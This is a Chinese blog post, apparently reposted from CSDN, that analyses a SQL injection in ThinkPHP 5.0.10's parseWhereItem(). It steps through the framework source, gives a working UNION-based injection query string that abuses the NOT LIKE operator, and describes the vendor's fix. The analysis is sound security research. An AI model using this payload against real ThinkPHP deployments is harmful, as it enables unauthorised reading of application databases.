Thinkphp 5.0.10 SQL注入

前言

开始tp5.0.10的SQL注入,漏洞点位于parseWhereItem()方法。先创建工程,再改composer.json,再composer update。

composer create-project  topthink/think=5.0.10 thinkphp5.0.10

    "require": {
    
    
        "php": ">=5.4.0",
        "topthink/framework": "5.0.10"
    },
composer update

index的控制器里这样写:

class Index
{
    
    
    public function index()
    {
    
    
        $username = request()->get('username/a');
        $result = db('users')->where(['username' => $username])->select();
        var_dump($result);
    }
}

我这里用的还是sqli-labs的那个数据库。然后记得开启app_debug和app_trace。
漏洞影响版本:5.0.10

分析

仍然还是先分析不带/a,然后再考虑/a

之前get和where方法都已经分析过了,这里不再分析,直接分析select()方法:
在这里插入图片描述
产生一下$options
在这里插入图片描述

然后这里很重要,产生SQL语句:
在这里插入图片描述
跟进一下$this->builder->select(),仍然是直接的替换:

/**
 * 生成查询SQL
 * @access public
 * @param array $options 表达式
 * @return string
 */
public function select($options = [])
{
    
    
    'SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%';
    $sql = str_replace(
        ['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
        [
            $this->parseTable($options['table'], $options),
            $this->parseDistinct($options['distinct']),
            $this->parseField($options['field'], $options),
            $this->parseJoin($options['join'], $options),
            $this->parseWhere($options['where'], $options),
            $this->parseGroup($options['group']),
            $this->parseHaving($options['having']),
            $this->parseOrder($options['order'], $options),
            $this->parseLimit($options['limit']),
            $this->parseUnion($options['union']),
            $this->parseLock($options['lock']),
            $this->parseComment($options['comment']),
            $this->parseForce($options['force']),
        ], $this->selectSql);
    return $sql;
}

跟进parseWhere()
在这里插入图片描述
where部分的参数是在buildWhere()函数中产生的,继续跟进:

/**
 * 生成查询条件SQL
 * @access public
 * @param mixed     $where
 * @param array     $options
 * @return string
 */
public function buildWhere($where, $options)
{
    
    
    if (empty($where)) {
    
    
        $where = [];
    }

    if ($where instanceof Query) {
    
    
        return $this->buildWhere($where->getOptions('where'), $options);
    }

    $whereStr = '';
    $binds    = $this->query->getFieldsBind($options['table']);
    foreach ($where as $key => $val) {
    
    
        $str = [];
        foreach ($val as $field => $value) {
    
    
            if ($value instanceof \Closure) {
    
    
                // 使用闭包查询
                $query = new Query($this->connection);
                call_user_func_array($value, [ & $query]);
                $whereClause = $this->buildWhere($query->getOptions('where'), $options);
                if (!empty($whereClause)) {
    
    
                    $str[] = ' ' . $key . ' ( ' . $whereClause . ' )';
                }
            } elseif (strpos($field, '|')) {
    
    
                // 不同字段使用相同查询条件(OR)
                $array = explode('|', $field);
                $item  = [];
                foreach ($array as $k) {
    
    
                    $item[] = $this->parseWhereItem($k, $value, '', $options, $binds);
                }
                $str[] = ' ' . $key . ' ( ' . implode(' OR ', $item) . ' )';
            } elseif (strpos($field, '&')) {
    
    
                // 不同字段使用相同查询条件(AND)
                $array = explode('&', $field);
                $item  = [];
                foreach ($array as $k) {
    
    
                    $item[] = $this->parseWhereItem($k, $value, '', $options, $binds);
                }
                $str[] = ' ' . $key . ' ( ' . implode(' AND ', $item) . ' )';
            } else {
    
    
                // 对字段使用表达式查询
                $field = is_string($field) ? $field : '';
                $str[] = ' ' . $key . ' ' . $this->parseWhereItem($field, $value, $key, $options, $binds);
            }
        }

        $whereStr .= empty($whereStr) ? substr(implode(' ', $str), strlen($key) + 1) : implode(' ', $str);
    }

    return $whereStr;
}

进入foreach,这里$where是这样,然后再进一层foreach。:
在这里插入图片描述
在第二层foreach中,前面的if都进入不了,进入的是这里:
在这里插入图片描述
$field是username,$str[]也就差不多是最后返回的结果了,是通过$this->parseWhereItem()产生的,再跟进parseWhereItem()函数:

// where子单元分析
protected function parseWhereItem($field, $val, $rule = '', $options = [], $binds = [], $bindName = null)
{
    
    
    // 字段分析
    $key = $field ? $this->parseKey($field, $options) : '';

    // 查询规则和条件
    if (!is_array($val)) {
    
    
        $val = ['=', $val];
    }
    list($exp, $value) = $val;

    // 对一个字段使用多个查询条件
    if (is_array($exp)) {
    
    
        $item = array_pop($val);
        // 传入 or 或者 and
        if (is_string($item) && in_array($item, ['AND', 'and', 'OR', 'or'])) {
    
    
            $rule = $item;
        } else {
    
    
            array_push($val, $item);
        }
        foreach ($val as $k => $item) {
    
    
            $bindName = 'where_' . str_replace('.', '_', $field) . '_' . $k;
            $str[]    = $this->parseWhereItem($field, $item, $rule, $options, $binds, $bindName);
        }
        return '( ' . implode(' ' . $rule . ' ', $str) . ' )';
    }

    // 检测操作符
    if (!in_array($exp, $this->exp)) {
    
    
        $exp = strtolower($exp);
        if (isset($this->exp[$exp])) {
    
    
            $exp = $this->exp[$exp];
        } else {
    
    
            throw new Exception('where express error:' . $exp);
        }
    }
    $bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
    if (preg_match('/\W/', $bindName)) {
    
    
        // 处理带非单词字符的字段名
        $bindName = md5($bindName);
    }

    $bindType = isset($binds[$field]) ? $binds[$field] : PDO::PARAM_STR;
    if (is_scalar($value) && array_key_exists($field, $binds) && !in_array($exp, ['EXP', 'NOT NULL', 'NULL', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN']) && strpos($exp, 'TIME') === false) {
    
    
        if (strpos($value, ':') !== 0 || !$this->query->isBind(substr($value, 1))) {
    
    
            if ($this->query->isBind($bindName)) {
    
    
                $bindName .= '_' . str_replace('.', '_', uniqid('', true));
            }
            $this->query->bind($bindName, $value, $bindType);
            $value = ':' . $bindName;
        }
    }

    $whereStr = '';
    if (in_array($exp, ['=', '<>', '>', '>=', '<', '<='])) {
    
    
        // 比较运算
        if ($value instanceof \Closure) {
    
    
            $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
        } else {
    
    
            $whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
        }
    } elseif ('LIKE' == $exp || 'NOT LIKE' == $exp) {
    
    
        // 模糊匹配
        if (is_array($value)) {
    
    
            foreach ($value as $item) {
    
    
                $array[] = $key . ' ' . $exp . ' ' . $this->parseValue($item, $field);
            }
            $logic = isset($val[2]) ? $val[2] : 'AND';
            $whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';
        } else {
    
    
            $whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
        }
    } elseif ('EXP' == $exp) {
    
    
        // 表达式查询
        $whereStr .= '( ' . $key . ' ' . $value . ' )';
    } elseif (in_array($exp, ['NOT NULL', 'NULL'])) {
    
    
        // NULL 查询
        $whereStr .= $key . ' IS ' . $exp;
    } elseif (in_array($exp, ['NOT IN', 'IN'])) {
    
    
        // IN 查询
        if ($value instanceof \Closure) {
    
    
            $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
        } else {
    
    
            $value = array_unique(is_array($value) ? $value : explode(',', $value));
            if (array_key_exists($field, $binds)) {
    
    
                $bind  = [];
                $array = [];
                $i     = 0;
                foreach ($value as $v) {
    
    
                    $i++;
                    if ($this->query->isBind($bindName . '_in_' . $i)) {
    
    
                        $bindKey = $bindName . '_in_' . uniqid() . '_' . $i;
                    } else {
    
    
                        $bindKey = $bindName . '_in_' . $i;
                    }
                    $bind[$bindKey] = [$v, $bindType];
                    $array[]        = ':' . $bindKey;
                }
                $this->query->bind($bind);
                $zone = implode(',', $array);
            } else {
    
    
                $zone = implode(',', $this->parseValue($value, $field));
            }
            $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
        }
    } elseif (in_array($exp, ['NOT BETWEEN', 'BETWEEN'])) {
    
    
        // BETWEEN 查询
        $data = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
    
    
            if ($this->query->isBind($bindName . '_between_1')) {
    
    
                $bindKey1 = $bindName . '_between_1' . uniqid();
                $bindKey2 = $bindName . '_between_2' . uniqid();
            } else {
    
    
                $bindKey1 = $bindName . '_between_1';
                $bindKey2 = $bindName . '_between_2';
            }
            $bind = [
                $bindKey1 => [$data[0], $bindType],
                $bindKey2 => [$data[1], $bindType],
            ];
            $this->query->bind($bind);
            $between = ':' . $bindKey1 . ' AND :' . $bindKey2;
        } else {
    
    
            $between = $this->parseValue($data[0], $field) . ' AND ' . $this->parseValue($data[1], $field);
        }
        $whereStr .= $key . ' ' . $exp . ' ' . $between;
    } elseif (in_array($exp, ['NOT EXISTS', 'EXISTS'])) {
    
    
        // EXISTS 查询
        if ($value instanceof \Closure) {
    
    
            $whereStr .= $exp . ' ' . $this->parseClosure($value);
        } else {
    
    
            $whereStr .= $exp . ' (' . $value . ')';
        }
    } elseif (in_array($exp, ['< TIME', '> TIME', '<= TIME', '>= TIME'])) {
    
    
        $whereStr .= $key . ' ' . substr($exp, 0, 2) . ' ' . $this->parseDateTime($value, $field, $options, $bindName, $bindType);
    } elseif (in_array($exp, ['BETWEEN TIME', 'NOT BETWEEN TIME'])) {
    
    
        if (is_string($value)) {
    
    
            $value = explode(',', $value);
        }

        $whereStr .= $key . ' ' . substr($exp, 0, -4) . $this->parseDateTime($value[0], $field, $options, $bindName . '_between_1', $bindType) . ' AND ' . $this->parseDateTime($value[1], $field, $options, $bindName . '_between_2', $bindType);
    }
    return $whereStr;
}

先字段分析,$key是"username"。之后$exp是“=”,$value就是输入的username值。
这里产生$bindName,结果是where_username
在这里插入图片描述
然后在这里进行参数绑定,$value的值变成:where_username
在这里插入图片描述
继续往下,$whereStr在这里赋值:
在这里插入图片描述
最终得到的$whereStr

`username` = :where_username

parseWhereItem()函数结束,返回的结果前面还会加上"AND",但是在下面的断点处又会把前面的"AND"去掉,最终的值还是

 `username` = :where_username

在这里插入图片描述

至此buildWhere()函数结束,出来后再在前面加上个where:
在这里插入图片描述
最终产生的SQL语句是这样:

SELECT * FROM `users` WHERE  `username` = :where_username 

然后执行查询:
在这里插入图片描述

/**
 * 执行查询 返回数据集
 * @access public
 * @param string        $sql sql指令
 * @param array         $bind 参数绑定
 * @param bool          $master 是否在主服务器读操作
 * @param bool          $pdo 是否返回PDO对象
 * @return mixed
 * @throws BindParamException
 * @throws PDOException
 */
public function query($sql, $bind = [], $master = false, $pdo = false)
{
    
    
    $this->initConnect($master);
    if (!$this->linkID) {
    
    
        return false;
    }

    // 记录SQL语句
    $this->queryStr = $sql;
    if ($bind) {
    
    
        $this->bind = $bind;
    }

    // 释放前次的查询结果
    if (!empty($this->PDOStatement)) {
    
    
        $this->free();
    }

    Db::$queryTimes++;
    try {
    
    
        // 调试开始
        $this->debug(true);
        // 预处理
        if (empty($this->PDOStatement)) {
    
    
            $this->PDOStatement = $this->linkID->prepare($sql);
        }
        // 是否为存储过程调用
        $procedure = in_array(strtolower(substr(trim($sql), 0, 4)), ['call', 'exec']);
        // 参数绑定
        if ($procedure) {
    
    
            $this->bindParam($bind);
        } else {
    
    
            $this->bindValue($bind);
        }
        // 执行查询
        $this->PDOStatement->execute();
        // 调试结束
        $this->debug(false);
        // 返回结果集
        return $this->getResult($pdo, $procedure);
    } catch (\PDOException $e) {
    
    
        if ($this->isBreak($e)) {
    
    
            return $this->close()->query($sql, $bind, $master, $pdo);
        }
        throw new PDOException($e, $this->config, $this->getLastsql());
    } catch (\Exception $e) {
    
    
        if ($this->isBreak($e)) {
    
    
            return $this->close()->query($sql, $bind, $master, $pdo);
        }
        throw $e;
    }
}

这没啥好说的了,很熟悉的过程了,先记录SQL语句,再清除上次查询的结果,然后进行预处理,参数绑定,执行查询。至此SQL语句就执行了,后面的就是结果的处理和输出。还是因为预编译,所以无法进行SQL注入。

再看一下SQL注入的姿势是什么:

?username[0]=not like&username[1][0]=%&username[1][1]=feng&username[2]=) union select 1,2,database()%23

index控制器那里改成/a,传一下,打断点分析一下。
在这里插入图片描述
进入parseWhereItem(),这里的$field是username,$value是这样:
在这里插入图片描述
跟进去。在这里$exp相当于username[0]$valueusername[1]
在这里插入图片描述
再执行到这里。在之前的正常的传参中,这里$value会被赋值成:where_username,但是在这里因为$value是数组,if条件无法满足,就不能进入,因为这里的$value就不会被修改了,我们可控了。

最后跟进到这里:
在这里插入图片描述
先对$array赋值,利用$exp进行,拼接,结果如下:
在这里插入图片描述
然后$logic就相当于是username[2]了,仍然可控。$whereStr就相当于以$username[2]作为分隔符把$array数组转换成字符串,然后整个外面再套上一层括号,产生这样的语句:

(`username` NOT LIKE '%' ) UNION SELECT 1,2,DATABASE()# `username` NOT LIKE 'feng')

可以分成这三个部分就好理解了:

`username` NOT LIKE '%'                array[0]
) UNION SELECT 1,2,DATABASE()#         分隔符
`username` NOT LIKE 'feng'             array[1]

这里中间部分先把前面的括号闭合,然后构造union联合查询,再注释掉后面的部分。为了让前面部分查不出来东西,not like那里利用%通配符,可以查不出任何东西。

之后SQL语句的构造就和之前一样了,先在前面加上AND,再把AND去掉,再在前面加上WHERE,最终SQL语句是这样:

SELECT * FROM `users` WHERE  (`username` NOT LIKE '%' ) UNION SELECT 1,2,DATABASE()# `username` NOT LIKE 'feng') 

成功SQL注入:
在这里插入图片描述

之所以不能用like,还是因为get方法会进入到input方法,input方法会进入filterValue方法,然后再进入这个过滤方法:

/**
 * 过滤表单中的表达式
 * @param string $value
 * @return void
 */
public function filterExp(&$value)
{
    
    
    // 过滤查询特殊字符
    if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
    
    
        $value .= ' ';
    }
    // TODO 其他安全过滤
}

NOT LIKE没有被过滤,因此可以利用。

修复

引用一下七月火师傅的总结:

在 5.0.10 之后的版本,官方的修复方法是:在 Request.php 文件的 filterValue 方法中,过滤掉 NOT LIKE 关键字。而在 5.0.10 之前的版本中,这个漏洞是不存在的,但是其代码也没有过滤掉 NOT LIKE 关键字,这是为什么呢?经过调试,发现原来在 5.0.10 之前的版本中,其默认允许的表达式中不存在 not like (注意空格),所以即便攻击者可以通过外部控制该操作符号,也无法完成攻击。(会直接进入下入157行,下图是 5.0.9 版本的代码)相反, 5.0.10 版本其默认允许的表达式中,存在 not like ,因而可以触发漏洞。

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114408324